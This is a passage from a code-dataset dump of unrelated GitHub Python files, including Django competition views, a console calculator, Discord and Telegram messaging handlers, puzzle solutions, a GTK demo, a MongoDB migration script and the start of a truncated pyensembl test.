delete(request, pk):\n competition = Dashboard.objects.get(pk=pk)\n competition.delete()\n return redirect('/dashboard/actives')\n\n\n# For testing\ndef add_points(request, pk):\n\n # user = Profile.objects.filter(user=request.user)\n # user.update(points=F('points')+5)\n # if user.filter(points__gte=25): user.update(challenger=True)\n\n competition = Dashboard.objects.get(pk=pk)\n\n ranking = Ranking.objects.get(container=competition, username=request.user.username)\n\n print(ranking.container_id)\n\n # if ranking is None: ranking.create(container=competition)\n\n # ranking.update(username=request.user.username)\n # ranking.update(points=15)\n\n # Ranking.objects.create(container=competition,username='manu',points=10)\n # Ranking.objects.create(container=competition,username='pepe',points=1)\n # Ranking.objects.create(container=competition,username='lolo',points=5)\n \n rankings = Ranking.objects.filter(container=competition).all().order_by('-points')\n\n context = {\n 'competition': competition,\n 'rankings': rankings\n }\n\n return render(request, 'competition.html', context)\n \n\ndef editing(request, pk):\n placeholder = Dashboard.objects.get(pk=pk)\n\n form = CompetitionForm(request.POST or None, instance=placeholder)\n\n context = {\n 'form': form,\n 'competition': placeholder,\n }\n\n form.fields['title'].initial = placeholder.title\n form.fields['description'].initial = placeholder.description\n form.fields['beginning'].initial = placeholder.beginning\n form.fields['deadline'].initial = placeholder.deadline\n form.fields['max_daily_uploads'].initial = placeholder.max_daily_uploads\n form.fields['wait_time_uploads'].initial = placeholder.wait_time_uploads\n\n if request.method == 'POST':\n if form.is_valid():\n competition = CompetitionForm()\n competition = form.save(commit=False)\n competition.save()\n \n url = '/dashboard/' + str(pk)\n return redirect(url)\n\n return render(request, 'editing.html', context)\n\n\ndef download(request, pk):\n competition = Dashboard.objects.get(pk=pk)\n\n response = HttpResponse(render_to_string('python.py', {'title': competition.title}))\n response['Content-Disposition'] = 'attachment; filename=\"%s.py\"' % competition.title\n\n # Creating ranking if someone participates\n # User data updated below\n user = Profile.objects.filter(user=request.user)\n \n # Initializing user as participant\n ranking = Ranking.objects.filter(container=competition)\n username = request.user.username\n\n if ranking is None: ranking.create(container=competition)\n \n if ranking.filter(container=competition, username=username).exists() == False: \n ranking.create(container=competition, username=username)\n user.update(points=F('points')+5)\n\n if user.filter(points__gte=25): user.update(challenger=True)\n\n competition.participants = ranking.count()\n competition.save()\n\n return response\n","repo_name":"isroma/kaggle_in_django","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"69979883928","text":"import os\nimport math\n\nclear = lambda: os.system('cls')\nresult = 0\n\ndef Calculate(a, b, number):\n if (number == 1):\n print(\"Result: \" + str(a+b))\n if (number == 2):\n print(\"Result: \" + str(a - b))\n if (number == 3):\n print(\"Result: \" + str(a * b))\n if (number == 4):\n print(\"Result: \" + str(a / b))\n if (number == 5):\n print(\"Result: \" + str(math.ceil(a/b)))\n if (number == 6):\n print(\"Choose number: \"\n \"\\n 1. \" + str(a) + \"\\n 2. \" + str(b))\n o = int(input())\n if (o == 1):\n print(\"Result \" + str(math.sqrt(a)))\n else:\n print(\"Result \" + str(math.sqrt(b)))\n if (number == 7):\n print(\"Result \" + str(math.fmod(a, b)))\n if (number == 8):\n print(\"Choose number: \")\n c = float(input())\n Area = {\n 'Per': (lambda a, b: 2*(a + b)),\n 'Plo': (lambda a, b, c: 2*(a * b + b * c + a * c)),\n }\n print('Perimeter = ', Area['Per'](a, b))\n print('Area = ', Area['Plo'](a, b, c))\n\ndef Line(s):\n clear()\n print(\"line - \" + str(s))\n print(\"length = \" + str(len(s)))\n print(\"Number of spaces = \" + str(s.count(' ')))\n print(\"Number of commas = \" + str(s.count(',')))\n\n\n\nwhile True:\n print(\"Choose the right option:\"\n \"\\n 1. Calculator\"\n \"\\n 2. Counting in line\"\n \"\\n 3. Мatrix\"\n \"\\n 0. Cancel\")\n try:\n variant = int(input())\n if (variant == 1):\n while True:\n clear()\n print(\"Choose the right option:\"\n \"\\n 1. Calculator\"\n \"\\n 0. Cancel\")\n calculate = int(input())\n if (calculate == 0):\n clear()\n break\n if (calculate == 1):\n print(\"Enter numbers: \\n\")\n a = float(input())\n b = float(input())\n while True:\n print(\"\\n Choose the right option:\"\n \"\\n 1. Addition\"\n \"\\n 2. Subtraction\"\n \"\\n 3. Multiplication\"\n \"\\n 4. Division\"\n \"\\n 5. Division by integer\"\n \"\\n 6. Root\"\n \"\\n 7. Finding the remainder\"\n \"\\n 8. Area and perimeter of a parallelepiped\"\n \"\\n 0. Cancel\")\n number = int(input())\n Calculate(a, b, number)\n if (number == 0):\n clear()\n break\n elif (variant == 0):\n print(\"Good luck\")\n break\n elif (variant == 2):\n print(\"Complete the line: \")\n s = str(input())\n if(s != \"\"):\n Line(s)\n elif (variant == 3):\n print(\"Enter the number of columns: \")\n N = int(input())\n print(\"Enter the number of lines: \")\n M = int(input())\n A = []\n for i in range(N):\n A.append([0] * M)\n print(\"Enter the first number: \")\n g = int(input())\n print(\"Increase: \")\n c = int(input())\n for i in range(N):\n for j in range(M):\n A[i][j] = g\n g += c\n\n for i in range(len(A)):\n for j in range(len(A[i])):\n print(A[i][j], end=' ')\n print()\n print(\"The matrix has \" + str(N) + \" columns and \" + str(M) + \" string(-s) \\n\" )\n except:\n clear()\n print(\"Data entered incorrectly!!!\")","repo_name":"Fsimashevskiy/Piton-course","sub_path":"Practice1.py","file_name":"Practice1.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34941653364","text":"import asyncio\nimport json\nfrom typing import Any\n\nimport aiohttp as aiohttp\nfrom starlette.responses import Response\n\nfrom custom_handlers import (\n default_discord_webhook,\n default_telegram_channel,\n default_telegram_token,\n default_telegram_parse_mode,\n default_embeds_title,\n default_regular_message_text,\n default_sender_name,\n)\n\n\nclass AbstractMessaging:\n \"\"\"Abstract class for sending messages to different sources\"\"\"\n\n def __init__(\n self,\n message_delay: int = 1,\n ):\n self.message_delay = message_delay\n\n async def async_request(\n self, session_kwargs: dict, request_kwargs: dict\n ) -> Response:\n \"\"\"Asynchronous request to endpoint\n\n :param session_kwargs: kwargs for aiohttp.ClientSession\n :param request_kwargs: kwargs for aiohttp.ClientSession.request\n :return: starlette Response\n \"\"\"\n\n async with aiohttp.ClientSession(**session_kwargs) as session:\n await asyncio.sleep(self.message_delay)\n async with session.request(**request_kwargs) as response:\n if 300 > response.status >= 200:\n return Response(\n content=json.dumps(await response.text()), status_code=200\n )\n return Response(\n content=json.dumps(await response.text()),\n status_code=response.status,\n )\n\n async def send_message(\n self,\n session_kwargs: dict,\n request_kwargs: dict,\n text: str,\n ) -> Response:\n \"\"\"Method for sending messages to a webhook\"\"\"\n request_kwargs.update({\"data\": text})\n await asyncio.sleep(self.message_delay)\n return await self.async_request(\n session_kwargs=session_kwargs,\n request_kwargs=request_kwargs,\n )\n\n\nclass DiscordMessaging(AbstractMessaging):\n \"\"\"Class for messaging with Discord bot hook\"\"\"\n\n def __init__(\n self,\n sender_name: str = default_sender_name,\n regular_message_text: str = default_regular_message_text,\n embeds_title: str = default_embeds_title,\n webhook_url: str = default_discord_webhook,\n *args: Any,\n **kwargs: Any,\n ):\n super().__init__(*args, **kwargs)\n self.webhook_url = webhook_url\n self.sender_name = sender_name\n self.regular_message_text = regular_message_text\n self.embeds_title = embeds_title\n\n async def send_message(\n self,\n session_kwargs: dict,\n request_kwargs: dict,\n text: str,\n ) -> Response:\n \"\"\"Sending message to discord using bot webhook\n Message that was sent to discord must have special formatting\n \"\"\"\n data = {\n \"url\": self.webhook_url,\n \"json\": {\n \"username\": self.sender_name,\n \"content\": self.regular_message_text,\n \"embeds\": [{\"title\": self.embeds_title, \"description\": text}],\n },\n }\n request_kwargs.update(data)\n return await self.async_request(\n session_kwargs=session_kwargs,\n request_kwargs=request_kwargs,\n )\n\n\nclass TelegramMessaging(AbstractMessaging):\n \"\"\"Interactions with telegram\n (sending message to channel / user only)\"\"\"\n\n def __init__(\n self,\n channel_id: str = default_telegram_channel,\n token: str = default_telegram_token,\n parse_mode: str = default_telegram_parse_mode,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n self.channel_id = channel_id\n self.token = token\n self.root = f\"https://api.telegram.org/bot{self.token}/\" + \"{method}\"\n self.update_polls_command = self.root.format(method=\"getUpdates\")\n self.parse_mode = parse_mode\n self.send_message_method = (\n \"sendMessage?chat_id={chat_id}&parse_mode={parse_mode}\"\n )\n self.send_message_command = self.root.format(method=self.send_message_method)\n\n async def send_message(\n self, session_kwargs: dict, request_kwargs: dict, text: str\n ) -> Response:\n \"\"\"Async sending message\"\"\"\n url = self.send_message_command.format(\n chat_id=self.channel_id, parse_mode=self.parse_mode\n )\n json_data = {\"text\": text}\n request_kwargs.update({\"url\": url, \"json\": json_data})\n return await self.async_request(\n session_kwargs=session_kwargs, request_kwargs=request_kwargs\n )\n","repo_name":"avmlds/logging-handlers","sub_path":"custom_handlers/messaging_handlers.py","file_name":"messaging_handlers.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32322209549","text":"class Solution:\n \"\"\"\n @param s: the string\n @return: the number of substring\n \"\"\"\n def countSubstrings(self, s):\n # Write your code here.\n ret = set([])\n for i in range(len(s)):\n l = i\n for j in range(2): # 处理奇数偶数长度\n r = l + j # 0是奇数,1是偶数。\n while (l >= 0) and (r < len(s)) and (s[l] == s[r]):\n ret.add(s[l : r + 1])\n l -= 1\n r += 1\n l = i\n return len(ret)\n \n# easy: https://www.lintcode.com/problem/1856/\n","repo_name":"yingl/LintCodeInPython","sub_path":"sub-palindrome.py","file_name":"sub-palindrome.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"31"} +{"seq_id":"71844087127","text":"'''\r\n\r\nDESAFIO 92\r\n\r\nCrie um programa onde 4 jogadores joguem um dado e tenham resultados\r\nALEATÓRIOS. Guarde esses resultados em um DICIONÁRIO. No final, colo-\r\nque esse dicionário EM ORDEM, sabendo que o VENCEDOR tirou o MAIOR\r\nNÚMERO no dado.\r\n'''\r\nfrom random import randint\r\nfrom operator import itemgetter\r\njogo = {'jogador1': randint(1, 6),\r\n 'jogador2': randint(1, 6),\r\n 'jogador3': randint(1, 6),\r\n 'jogador4': randint(1, 6)}\r\nfor k, v in jogo.items():\r\n print(f'O {k} tirou {v} em seu dado.')\r\nranking = dict()\r\nprint()\r\nprint('\\t\\t=== VENCEDORES ===')\r\nranking = sorted(jogo.items(), key=itemgetter(1), reverse=True)\r\nfor i, l in enumerate(ranking):\r\n print(f'\\t{i+1}o Colocado: {l}')\r\nprint(ranking)\r\n","repo_name":"fpavanetti/python_lista_de_exercicios","sub_path":"aula19_ex92.py","file_name":"aula19_ex92.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12922631472","text":"#! /usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport cv2\r\nimport face_recognition\r\nimport logging\r\nimport numpy as np\r\nimport os\r\nimport argparse\r\nimport sys\r\n\r\nparser = argparse.ArgumentParser(description='tutorial ТУТА:')\r\nparser.add_argument('--debug', dest='level', default=\"INFO\", help=\"This is DEBUUUUG!\"\r\n \"Укажи какой уровень дебага вывести в консоль.\"\r\n \"Уровни от самого низшего до высшего: \"\r\n \"DEBUG->INFO->WARNING->ERROR->CRITICAL.\"\r\n \" При указании уровня ниже, все сообщения уровня\"\r\n \" выше автоматически подгружаются\")\r\nargs = parser.parse_args()\r\n\r\nlogger = logging.getLogger(__name__)\r\nlogger.setLevel(logging.DEBUG)\r\n\r\nformatter = logging.Formatter('%(asctime)s %(levelname)s:%(message)s', datefmt='%d-%b-%y %H:%M:%S')\r\n\r\nfh = logging.FileHandler('logs.log')\r\nfh.setLevel(logging.DEBUG)\r\n\r\nch = logging.StreamHandler(stream=sys.stdout)\r\nnumeric_level = getattr(logging, args.level.upper(), None)\r\nch.setLevel(numeric_level)\r\n\r\nfh.setFormatter(formatter)\r\nch.setFormatter(formatter)\r\n\r\nlogger.addHandler(fh)\r\nlogger.addHandler(ch)\r\n\r\ndef load_photo():\r\n pic = []\r\n names = []\r\n for root, dirs, files in os.walk(\".\\people\", topdown=False):\r\n for dir in dirs:\r\n path = os.path.join(root, dir)\r\n img = os.listdir(path)\r\n img = list(map(lambda x: path+'\\\\'+x, img))\r\n for i in range(len(img)):\r\n names.append(os.path.basename(dir))\r\n pic.extend(img)\r\n\r\n if len(pic) != len(names):\r\n logger.critical('ERROR! Ошибка при загрузке картинок')\r\n\r\n return pic, names\r\n\r\n\r\ndef draw_name(frame, face_locations, face_names):\r\n for (top, right, bottom, left), name in zip(face_locations, face_names):\r\n logger.debug(\"Сделали подпись: %s\" % name)\r\n cv2.rectangle(frame, (left, bottom - 25), (right, bottom), (0, 0, 255), cv2.FILLED)\r\n font = cv2.FONT_HERSHEY_DUPLEX\r\n cv2.putText(frame, name, (left + 6, bottom - 6), font, 0.5, (255, 255, 255), 1)\r\n\r\n\r\ndef draw_parts(i, frame, cords, face_landmarks_list):\r\n (top, right, bottom, left) = cords\r\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\r\n logger.debug(\"Обвели красным прямоугольником\")\r\n test = face_landmarks_list\r\n pts = np.array(test[i]['top_lip'], np.int32)\r\n pts = pts.reshape((-1, 1, 2))\r\n cv2.polylines(frame, [pts], True, (255, 0, 0), 2)\r\n pts = np.array(test[i]['bottom_lip'], np.int32)\r\n pts = pts.reshape((-1, 1, 2))\r\n cv2.polylines(frame, [pts], True, (255, 0, 0), 2)\r\n\r\n\r\ndef main():\r\n logger.debug(\"Запустили программу\")\r\n known_faces = []\r\n pic, names = load_photo()\r\n \r\n cap = cv2.VideoCapture(0)\r\n\r\n\r\n i = 0\r\n for img in pic.copy():\r\n image = face_recognition.load_image_file(img)\r\n tmp = face_recognition.face_encodings(image)\r\n if len(tmp) == 0:\r\n logger.debug(\"На фото %s нет лиц\" % img)\r\n pic.pop(i)\r\n names.pop(i)\r\n else:\r\n known_faces.append(tmp[0])\r\n logger.debug(\"Обнаружено лицо на фото %s\" % img)\r\n i += 1\r\n\r\n logger.debug(\"Обработали изображения с лицами\")\r\n logger.debug(pic)\r\n logger.debug(names)\r\n\r\n while(True):\r\n #face_locations = []\r\n #face_encodings = []\r\n #face_names = []\r\n ret, frame = cap.read()\r\n logger.debug(\"Считали кадр видео\")\r\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\r\n rgb_frame = frame[:, :, ::-1]\r\n\r\n logger.debug(\"Ищем лица\")\r\n face_locations = face_recognition.face_locations(rgb_frame, model=\"\")\r\n face_landmarks_list = face_recognition.face_landmarks(rgb_frame)\r\n for i in range(len(face_locations)):\r\n draw_parts(i, frame, face_locations[i], face_landmarks_list)\r\n logger.debug(\"Нашли лицо\")\r\n\r\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\r\n face_names = []\r\n for face_encoding in face_encodings:\r\n logger.debug(\"Ищем совпадения с предоставленными лицами\")\r\n match = face_recognition.compare_faces(known_faces, face_encoding, tolerance=0.35) #допуск\r\n for j in range(len(known_faces)):\r\n if match[j]:\r\n logger.debug(\"Нашли совпадение: %s\" % names[j])\r\n face_names.append(names[j])\r\n draw_name(frame, face_locations, face_names)\r\n\r\n cv2.imshow('Finding people', frame) # output image\r\n\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n logger.info(\"Нажали q для выхода\")\r\n break\r\n\r\n face_locations.clear()\r\n face_encodings.clear()\r\n face_names.clear()\r\n\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n try:\r\n main()\r\n except ValueError:\r\n print(\"Лошок\")\r\n","repo_name":"AnnaVeller/Detect-people-webcam","sub_path":"detect_people_webcam.py","file_name":"detect_people_webcam.py","file_ext":"py","file_size_in_byte":5602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31097221034","text":"#\n# @lc app=leetcode.cn id=637 lang=python3\n#\n# [637] 二叉树的层平均值\n#\n# https://leetcode-cn.com/problems/average-of-levels-in-binary-tree/description/\n#\n# algorithms\n# Easy (65.01%)\n# Likes: 160\n# Dislikes: 0\n# Total Accepted: 25.5K\n# Total Submissions: 39.1K\n# Testcase Example: '[3,9,20,15,7]'\n#\n# 给定一个非空二叉树, 返回一个由每层节点平均值组成的数组。\n# \n# \n# \n# 示例 1:\n# \n# 输入:\n# ⁠ 3\n# ⁠ / \\\n# ⁠ 9 20\n# ⁠ / \\\n# ⁠ 15 7\n# 输出:[3, 14.5, 11]\n# 解释:\n# 第 0 层的平均值是 3 , 第1层是 14.5 , 第2层是 11 。因此返回 [3, 14.5, 11] 。\n# \n# \n# \n# \n# 提示:\n# \n# \n# 节点值的范围在32位有符号整数范围内。\n# \n# \n#\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nimport math\n\nclass Solution:\n def averageOfLevels(self, root: TreeNode) -> List[float]:\n if not root:\n return []\n ans = []\n layer = [root]\n while layer:\n tmp = []\n s = 0\n for node in layer:\n s += node.val\n if node.left:\n tmp.append(node.left)\n if node.right:\n tmp.append(node.right)\n ans.append(s/len(layer))\n layer = tmp\n return ans\n \n \n# @lc code=end\n\n","repo_name":"kailunfan/lcode","sub_path":"637.二叉树的层平均值.py","file_name":"637.二叉树的层平均值.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35645615689","text":"from .imports import *\n\n\ndef sura_handler(request, sura):\n try:\n row = Text.objects.filter(sura=sura).first()\n sura_aya = f\"{row.sura}-{row.aya}\"\n return redirect(reverse(\"quran:index\", kwargs={\"sura_aya\": sura_aya}), permanent=True)\n except (ArithmeticError, Exception):\n return HttpResponseBadRequest(status=400)\n","repo_name":"zamoosh/quran-django","sub_path":"quran/views/sura_handler.py","file_name":"sura_handler.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"13509065088","text":"import gi\ngi.require_version(\"Gtk\", \"3.0\")\ngi.require_version(\"Handy\", \"1\")\nfrom gi.repository import Gtk, Handy\n\nHandy.init()\n\nclass MyWindow(Handy.Window):\n def __init__(self):\n super().__init__(title=\"Hello World\")\n self.set_default_size(900, 300)\n self.handle = Handy.WindowHandle()\n self.add(self.handle)\n\n # Window box\n self.winbox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n self.handle.add(self.winbox)\n ## Headerbar\n self.hb = Handy.HeaderBar()\n self.hb.set_show_close_button(True)\n self.hb.props.title = \"Style Classes Example\"\n self.winbox.pack_start(self.hb, False, True, 0)\n\n # MainBox\n self.mainbox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=6, halign=Gtk.Align.CENTER, valign=Gtk.Align.CENTER)\n self.winbox.pack_start(self.mainbox, True, True, 0)\n ## Button box\n self.btn_box = Gtk.ButtonBox(halign=Gtk.Align.CENTER, valign=Gtk.Align.CENTER, spacing=6)\n self.mainbox.pack_start(self.btn_box, True, True, 0)\n ### Normal button\n self.btn = Gtk.Button(label=\"Normal\")\n self.btn_box.pack_start(self.btn, False, False, 0)\n ### Suggested button\n self.btn_suggested = Gtk.Button(label=\"Suggested\")\n self.btn_suggested.get_style_context().add_class(\"suggested-action\")\n self.btn_box.pack_start(self.btn_suggested, False, False, 0)\n ### Destructive button\n self.btn_destructive = Gtk.Button(label=\"Destructive\")\n self.btn_destructive.get_style_context().add_class(\"destructive-action\")\n self.btn_box.pack_start(self.btn_destructive, False, False, 0)\n\n ## Flat button box\n self.btn_box2 = Gtk.ButtonBox(halign=Gtk.Align.CENTER, valign=Gtk.Align.CENTER, spacing=6)\n self.mainbox.pack_start(self.btn_box2, True, True, 0)\n ### Normal button\n self.btn_flat = Gtk.Button(label=\"Flat\")\n self.btn_flat.get_style_context().add_class(\"flat\")\n self.btn_box.pack_start(self.btn_flat, False, False, 0)\n ### Suggested button\n self.btn_suggested_flat = Gtk.Button(label=\"Suggested Flat\")\n self.btn_suggested_flat.get_style_context().add_class(\"suggested-action\")\n self.btn_suggested_flat.get_style_context().add_class(\"flat\")\n self.btn_box.pack_start(self.btn_suggested_flat, False, False, 0)\n ### Destructive button\n self.btn_destructive_flat = Gtk.Button(label=\"Destructive Flat\")\n self.btn_destructive_flat.get_style_context().add_class(\"destructive-action\")\n self.btn_destructive_flat.get_style_context().add_class(\"flat\")\n self.btn_box.pack_start(self.btn_destructive_flat, False, False, 0)\n\nwin = MyWindow()\nwin.connect(\"destroy\", Gtk.main_quit)\nwin.show_all()\nGtk.main()\n","repo_name":"alejandrabermo/gtk-examples-python","sub_path":"handy/5-style-classes.py","file_name":"5-style-classes.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11014931886","text":"class Solution:\n def ambiguousCoordinates(self, S: str):\n def check_str(str):\n if not str:\n return []\n if len(str) == 1:\n return [str]\n if str[0] == '0':\n if str[-1] == '0':\n return []\n else:\n return [[str[0]]+['.']+str[1:]]\n else:\n if str[-1] == '0':\n return [str]\n else:\n res = []\n for i in range(1,len(str)):\n res.append(str[:i]+['.']+str[i:])\n res.append(str)\n return res\n\n\n if S == \"()\":\n return []\n\n str_num = list(S[1:-1])\n if len(str_num) == 1:\n return []\n # print(str_num)\n reslist = []\n for i in range(1,len(str_num)):\n first_part = str_num[:i]\n second_part = str_num[i:]\n first_part_str = check_str(first_part)\n second_part_str = check_str(second_part)\n\n if first_part_str and second_part_str:\n for each_str1 in first_part_str:\n for each_str2 in second_part_str:\n reslist.append(\"(\"+\"\".join(each_str1)+\", \"+\"\".join(each_str2)+\")\")\n return reslist\n\n\n\n\n\n\n\n\n\n\n\ns = Solution()\nprint(s.ambiguousCoordinates(\"(00011)\"))\n\nprint(s.ambiguousCoordinates(\"(123)\"))\nprint(s.ambiguousCoordinates(\"(0123)\"))","repo_name":"NeilWangziyu/Leetcode_py","sub_path":"ambiguousCoordinates.py","file_name":"ambiguousCoordinates.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"616588939","text":"#!/usr/bin/python3\n\"\"\"\nStephanieCobble | Lab 90 - Standard vs Third Party Libraries & Open APIs\ntracking the iss using\napi.open-notify.org/astros.json | Alta3 Research\n\"\"\"\n\n# notice we no longer need to import urllib.request or json\nimport requests\n\n## Define URL\nMAJORTOM = 'http://api.open-notify.org/astros.json'\n\ndef main():\n \"\"\"runtime code\"\"\"\n\n ## Call the webservice\n groundctrl = requests.get(MAJORTOM)\n\n ## strip the json off the 200 that was returned by our API\n ## translate the json into python lists and dictionaries\n helmetson = groundctrl.json()\n\n ## display our Pythonic data\n print(\"\\n\\nConverted Python data\")\n print(helmetson)\n\n print('\\n\\nPeople in Space: ', helmetson['number'])\n people = helmetson['people']\n print(people)\n \n\n ## print the name of the astros and what craft they're on (challenge 1 - lab 90)\n for astros in people:\n print(f'{astros[\"name\"]} is on the {astros[\"craft\"]}') \n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"StephanieCobble/mycode","sub_path":"6Tuesday/iss/requests-ride_iss.py","file_name":"requests-ride_iss.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39560757365","text":"import json\nimport glob\nimport os\n\nfrom pymongo import MongoClient\nfrom migrate_course_info_to_mongo import MAJOR_DIR, get_json_data\n\nSTOCK_DIR = \"/srv/pyflowchart/stock_charts/15-17\"\n\ndef main():\n client = MongoClient()\n db = client[\"cpslo-stockcharts_15-17\"]\n catalog_db = client[\"cpslo-catalog\"]\n\n json_files = glob.glob(STOCK_DIR + \"/*.json\")\n\n # Each file is its own collection\n for fn in json_files:\n chart_name = os.path.basename(fn).strip(\".json\")\n\n collection = db[chart_name]\n\n chart_data = get_json_data(fn)\n courses = []\n \n for _,course_data in chart_data.items():\n pause = False\n catalog_id = course_data[\"catalog\"]\n\n if \", or \" in catalog_id:\n idfs = catalog_id.split(\", \")\n idfs[-1] = idfs[-1].replace(\"or \", '')\n dept, num1 = idfs[0].split(\" \")\n idfs[0] = num1\n\n course_data[\"type\"] = \"option\"\n ids = []\n for idf in idfs:\n obj = catalog_db[dept].find_one({\"course_number\": int(idf)})\n if not obj:\n print(\"No object found\")\n continue\n else:\n ids.append(obj[\"_id\"])\n\n course_data[\"catalog_id\"] = ids\n course_data[\"department\"] = dept\n\n elif \" or \" in catalog_id:\n if len(catalog_id.split(\" \")) == 4:\n options = catalog_id.split(\" or \")\n dept, num1 = options[0].split(\" \")\n num2 = options[1]\n\n course_data[\"type\"] = \"option\"\n ids = []\n\n for idf in [num1, num2]:\n obj = catalog_db[dept].find_one({\"course_number\": int(idf)})\n if not obj:\n print(\"No object found\")\n continue\n else:\n ids.append(obj[\"_id\"])\n\n course_data[\"catalog_id\"] = ids\n course_data[\"department\"] = dept\n\n # Must be D1 N1 or D2 N2\n else:\n depts = []\n ids = []\n d1n1, d2n2 = catalog_id.split(\" or \")\n d1, n1 = d1n1.split(\" \")\n d2, n2 = d2n2.split(\" \")\n for i in range(2):\n dept = [d1, d2][i]\n idf = [n1, n2][i]\n obj = catalog_db[dept].find_one({\"course_number\": int(idf)})\n if not obj:\n print(\"No object found\")\n continue\n else:\n ids.append(obj[\"_id\"])\n depts.append(dept)\n\n course_data[\"catalog_id\"] = ids \n course_data[\"department\"] = depts\n\n elif \"/\" in catalog_id:\n dept, nums = catalog_id.split(' ')\n num1, num2 = nums.split(\"/\")\n\n course_data[\"type\"] = \"coreq\"\n ids = []\n\n for idf in [num1, num2]:\n obj = catalog_db[dept].find_one({\"course_number\": int(idf)})\n if not obj:\n print(\"No object found\")\n continue\n else:\n ids.append(obj[\"_id\"])\n\n course_data[\"catalog_id\"] = ids \n course_data[\"department\"] = dept\n\n elif catalog_id == \"\" or catalog_id.isspace():\n course_data[\"elective_title\"] = course_data[\"title\"]\n course_data[\"type\"] = \"elective\"\n pause = True\n\n else:\n course = course_data[\"catalog\"].split(\" \")\n if len(course) == 2:\n dept, number = course\n obj = catalog_db[dept].find_one({\"course_number\": int(number)})\n if not obj:\n continue\n course_data[\"catalog_id\"] = obj['_id']\n course_data[\"department\"] = dept\n else:\n course_data[\"type\"] = \"general_ed\"\n \n for key in [\"title\", \"prereqs\", \"credits\", \"catalog\"]:\n del course_data[key]\n\n course_data[\"flags\"] = []\n\n courses.append(course_data)\n\n collection.insert_many(courses) \n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"FlowChamp/pyCourseManager","sub_path":"tools/stock_chart_addref.py","file_name":"stock_chart_addref.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73456877847","text":"import sys\nfrom cx_Freeze import setup, Executable\n# Dependências\nbuild_exe_options = {\"packages\":[\"os\"],\n \"includes\":[\"tkinter\",\"re\",\"win32com\"],\n \"include_files\":[\"Modelo.html\",\"GeradorPapelCarta.png\"]\n }\n\n# Se aplicação windows, insere base diferente\nbase = None\nif sys.platform == \"win32\":\n base = \"Win32GUI\"\n\nexecutables = [\n Executable('GeradorPapelCarta.py',\n base=base,\n icon='.\\GeradorPapelCarta.png',\n target_name='PapelCarta_QD')\n]\n\nsetup(\n name = \"PapelCarta\",\n version = \"2.16\",\n description = \"Emissor de Papel de Carta\",\n options = {\"build_exe\": build_exe_options},\n executables = executables\n)\n\n## Para gerar o .\"exe\" Use: python .\\setup.py build_exe","repo_name":"Denilson-Sousa/PapelDeCartaQD","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73342943127","text":"from indico_toolkit import create_client\nfrom indico_toolkit.auto_populate import AutoPopulator\n\n\"\"\"\nCreate a new copied Workflow based on given Teach Task Id \nand corresponding Dataset Id.\n\"\"\"\n\nHOST = \"app.indico.io\"\nAPI_TOKEN_PATH = \"./indico_api_token.txt\"\nDATASET_ID = 0\nTEACH_TASK_ID = 0\n\nclient = create_client(HOST, API_TOKEN_PATH)\nauto_populator = AutoPopulator(client)\nnew_workflow = auto_populator.copy_teach_task(\n dataset_id=DATASET_ID,\n teach_task_id=TEACH_TASK_ID,\n workflow_name=f\"Copied Workflow\",\n)\n","repo_name":"IndicoDataSolutions/Indico-Solutions-Toolkit","sub_path":"examples/copy_teach_task.py","file_name":"copy_teach_task.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"40617860026","text":"from pyensembl import EnsemblRelease, Exon, Gene, Transcript\nfrom GeneaPy.modules import pyensembl_wrappers\nfrom GeneaPy.modules.fullexon import FullExon\nfrom GeneaPy.modules.metadata import LocusMetaData\nfrom GeneaPy.modules import common\nimport logging\nimport unittest\n\nDATA = EnsemblRelease(75)\n\nlog = logging.getLogger()\nlog.disabled = True\n\nclass TestFullExon(unittest.TestCase):\n def test_full_exon(self):\n ''' Tests the objects attributes are the same'''\n exon = Exon('ENSE00003605533', 